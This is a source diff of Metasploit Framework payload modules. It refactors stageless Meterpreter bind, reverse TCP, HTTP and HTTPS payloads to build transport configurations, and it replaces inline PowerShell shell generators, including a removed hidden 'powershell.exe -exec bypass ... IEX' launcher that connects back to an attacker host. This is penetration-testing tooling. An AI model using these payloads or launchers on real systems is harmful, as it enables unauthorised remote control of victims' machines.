'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
|
@ -45,34 +48,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
script_in << "\npowerfun -Command reverse"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
generate_powershell_code("Reverse")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 884270
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,9 +40,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
# blank LHOST indicates bind payload
|
||||
url = "tcp://:#{datastore['LPORT']}"
|
||||
generate_stageless_x86(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 885314
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,38 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x86 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => false,
|
||||
:generator => method(:generate_stageless_x86)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
generate_stageless(opts)
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 885314
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,37 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x86 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => true,
|
||||
:generator => method(:generate_stageless_x86)
|
||||
}
|
||||
generate_stageless(opts)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_https(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 884270
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -36,8 +41,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
|
||||
generate_stageless_x86(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_ipv6_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 884270
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,8 +40,32 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
generate_stageless_x86(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,9 +4,11 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
###
|
||||
#
|
||||
# Extends the Exec payload to add a new user.
|
||||
|
@ -14,10 +16,11 @@ require 'msf/base/sessions/powershell'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1543
|
||||
CachedSize = 1695
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Rex::Powershell::Command
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -52,33 +55,6 @@ module Metasploit3
|
|||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
lport = datastore['LPORT']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
script_in = File.read(template_path)
|
||||
script_in << "\npowerfun -Command bind"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
|
||||
generate_powershell_code("Bind")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,9 +4,11 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
|
||||
###
|
||||
#
|
||||
# Extends the Exec payload to add a new user.
|
||||
|
@ -14,9 +16,10 @@ require 'msf/base/sessions/powershell'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1527
|
||||
CachedSize = 1703
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Msf::Payload::Windows::Powershell
|
||||
include Rex::Powershell::Command
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,7 +38,7 @@ module Metasploit3
|
|||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
))
|
||||
|
||||
|
@ -52,33 +55,6 @@ module Metasploit3
|
|||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
script_in << "\npowerfun -Command reverse"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
|
||||
generate_powershell_code("Reverse")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1102898
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,9 +40,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
# blank LHOST indicates bind payload
|
||||
url = "tcp://:#{datastore['LPORT']}"
|
||||
generate_stageless_x64(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1103942
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,38 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x64 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => false,
|
||||
:generator => method(:generate_stageless_x64)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
generate_stageless(opts)
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1103942
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,38 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x64 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => true,
|
||||
:generator => method(:generate_stageless_x64)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
generate_stageless(opts)
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1102898
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -36,8 +41,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
|
||||
generate_stageless_x64(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_ipv6_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,15 +5,20 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1102898
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,8 +40,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
generate_stageless_x64(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/linux/bind_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 110
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
@ -19,7 +19,7 @@ module Metasploit4
|
|||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager (Linux x86)',
|
||||
'Description' => 'Listen for a connection (Linux x86)',
|
||||
'Author' => [ 'skape', 'egypt', ],
|
||||
'Author' => [ 'skape', 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -6,83 +6,25 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/linux/reverse_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
###
|
||||
#
|
||||
# ReverseTcp
|
||||
# ----------
|
||||
#
|
||||
# Linux reverse TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 71
|
||||
CachedSize = 193
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => [
|
||||
'skape', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x12, 'ADDR' ],
|
||||
